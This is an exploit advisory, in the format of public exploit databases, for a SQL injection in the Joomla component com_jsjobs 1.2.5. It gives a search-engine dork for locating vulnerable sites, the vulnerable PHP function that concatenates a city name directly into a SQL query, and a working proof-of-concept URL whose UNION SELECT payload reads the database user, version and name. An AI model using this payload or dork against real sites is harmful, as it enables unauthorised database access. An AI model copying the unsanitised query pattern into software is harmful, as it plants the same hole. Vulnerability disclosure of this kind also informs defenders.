#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 296 in file site/models/cities.php
291 function isCityExist($countryid, $stateid, $cityname){
292 if (!is_numeric($countryid))
293 return false;
294
295 $db = $this->getDBO();
296 $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'"; //!!!
297
298 if($stateid > 0){
299 $query .= " AND stateid=".$stateid;
300 }else{
301 $query .= " AND (stateid=0 OR stateid IS NULL)";
302 }
303
305 $db->setQuery($query);
306 $city = $db->loadObject();
307 if ($city != null)
308 return $city;
309 else
310 return false;
311 }
312
313 }
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#PoC:
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http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada
